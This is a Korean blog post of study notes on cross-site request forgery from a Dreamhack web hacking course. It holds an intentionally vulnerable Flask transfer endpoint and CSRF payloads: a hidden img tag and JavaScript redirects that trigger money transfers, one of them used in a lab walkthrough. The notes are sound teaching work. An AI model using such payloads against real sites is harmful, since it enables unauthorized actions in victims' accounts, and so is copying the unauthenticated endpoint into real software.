ClientSide: CSRF
# 들어가며 - 서론
- 쿠키: 이용자의 신원 정보가 포함되어 일종의 서명과 같은 역할을 함
- 이용자의 식별 정보가 포함된 쿠키: 클라이언트에서 보내진 요청이 이용자로부터 왔으며, 이용자가 동의했고, 따라서 요청에 이용자의 권한이 부여돼야 함을 의미함
- 쿠키를 탈취하는 공격과 이번 코스에서 배울 교차 사이트 요청 위조는 비슷함
- CSRF: 이용자를 속여서, 의도치 않은 요청에 동의하게 하는 공격
> 그럴듯한 웹 페이지를 만들어서 이용자의 입력을 유도하고, 이용자가 값을 입력하면
이를 은행이나 중요 포털 사이트 등으로 전송하여 마치 이용자가 동의한 것 같은 요청을 발생시킴
> "자동 로그인" 기능: 브라우저에 세션 쿠키를 저장하고 있다면,
실제로 계좌 이체가 발생하거나 비밀번호 초기화가 이루어질 수 있음
# Cross Site Request Forgery (CSRF)
1. Corss Site Request Forgery (CSRF)
- 웹 서비스: 쿠키 또는 세션을 사용해 이용자를 식별
- 임의 이용자의 쿠키를 사용할 수 있다면, 이는 곧 임의 이용자의 권한으로 웹 서비스의 기능을 사용할 수 있음
- CSRF는 임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점
- 공격자는 임의 이용자의 권한으로 서비스 기능을 사용해 이득을 취할 수 있음
ex) 이용자의 계정으로 임의 금액을 송금해 금전적인 이득을 취하거나 비밀번호를 변경해 계정을 탈취하고,
관리자 계정을 공격해 공지사항 작성 등으로 혼란을 야기할 수 있음
- 이용자의 송금 요청
GET /sendmoney?to=dreamhack&amount=1337 HTTP/1.1
Host: bank.dreamhack.io
Cookie: session=IeheighaiToo4eenahw3
- 송금 기능: CSRF 취약점이 존재하는 예제 코드로, 송금 기능을 수행
# 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함.
@app.route('/sendmoney')
def sendmoney(name):
# 송금을 받는 사람과 금액을 입력받음.
to_user = request.args.get('to')
amount = int(request.args.get('amount'))
# 송금 기능 실행 후, 결과 반환
success_status = send_money(to_user, amount)
# 송금이 성공했을 때,
if success_status:
# 성공 메시지 출력
return "Send success."
# 송금이 실패했을 때,
else:
# 실패 메시지 출력
return "Send fail."
> 이용자로부터 예금주와 금액을 입력받고 송금을 수행
> 이때 계좌 비밀번호, OTP 등을 사용하지 않기 때문에
로그인한 이용자는 추가 인증 정보 없이 해당 기능을 이용할 수 있음
2. Cross Site Request Forgery 동작
- CSRF 공격에 성공하기 위해서는 공격자가 작성한 악성 스크립트를 이용자가 실행해야 함
- 공격자가 이용자에게 메일을 보내거나 게시판에 글을 작성해 이용자가 이를 조회하도록 유도하는 방법 등이 있음
- 악성 스크립트: HTTP 요청을 보내는 코드
- CSRF 공격 스크립트는 HTML 또는 Javascript를 통해 작성할 수 있음
- 아래 그림은 HTML으로 작성한 스크립트
> 이미지를 불러오는 img 태그를 사용하거나
웹 페이지에 입력된 양식을 전송하는 form 태그를 사용하는 방법이 있음
> 이 두 개의 태그를 사용해 HTTP 요청을 보내면
HTTP 헤더인 Cookie에 이용자의 인증 정보가 포함됨
- HTML img 태그 공격 코드: img 태그를 사용한 스크립트의 예시
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>
해당 태그는 이미지의 크기를 줄일 수 있는 옵션을 제공하기 때문에
이용자에게 들키지 않고 임의 페이지에 요청을 보낼 수 있음
- Javascript 공격 코드 예시
/* 새 창 띄우기 */
window.open('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
/* 현재 창 주소 옮기기 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337';
location.replace('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
새로운 창을 띄우고, 현재 창의 주소를 옮기는 등의 행위가 가능
3. Cross Site Request Forgery 실습
- CSRF 실습 모듈
- 아래 코드로 작성된 모듈임
# 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함.
@app.route('/sendmoney')
def sendmoney(name):
# 송금을 받는 사람과 금액을 입력받음.
to_user = request.args.get('to')
amount = int(request.args.get('amount'))
# 송금 기능 실행 후, 결과 반환
success_status = send_money(to_user, amount)
# 송금이 성공했을 때,
if success_status:
# 성공 메시지 출력
return "Send success."
# 송금이 실패했을 때,
else:
# 실패 메시지 출력
return "Send fail."
- 일부 Javascript 실행이 제한되어 있으므로, HTML 태그를 통해 계좌 잔고를 1,000,000원 이상으로 늘려보기
제목과 내용을 입력하는 곳이 있음
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1000000' width=0px height=0px>
to에는 dreamhack을 인자로, amount에는 문제에서 주어진 1000000을 입력
게시글 작성을 누르니 공격에 성공!
4. XSS와 CSRF의 차이
- XSS와 CSRF는 웹 페이지에 작성해 공격한다는 점에서 유사
- 공통점
> 클라이언트를 대상으로 하는 공격이며, 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 함
- 차이점
> XSS: 정보 인증인 세션 및 쿠키 탈취를 목적으로 하는 공격이며, 공격할 사이트의 오리진에서 스크립트를 실행
> CSRF: 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하는 공격. 또한, 공격자는 악성 스크립트가
포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있음
# 마치며
- 키워드
① Cross Site Request Forgery (CSRF): 사이트 간 요청 위조, 이용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 웹 사이트에 요청하게 만드는 공격
'Hacking Tech > Web hacking' 카테고리의 다른 글
[Dreamhack] ServerSide: SQL Injection (0) | 2022.03.08 |
---|---|
[Dreamhack] Background: Relational DBMS (0) | 2022.03.07 |
[Dreamhack] ClientSide: XSS (0) | 2022.01.27 |
[Dreamhack] Mitigation: Same Origin Policy (0) | 2022.01.26 |
[Dreamhack] Background: Cookie & Session (0) | 2022.01.24 |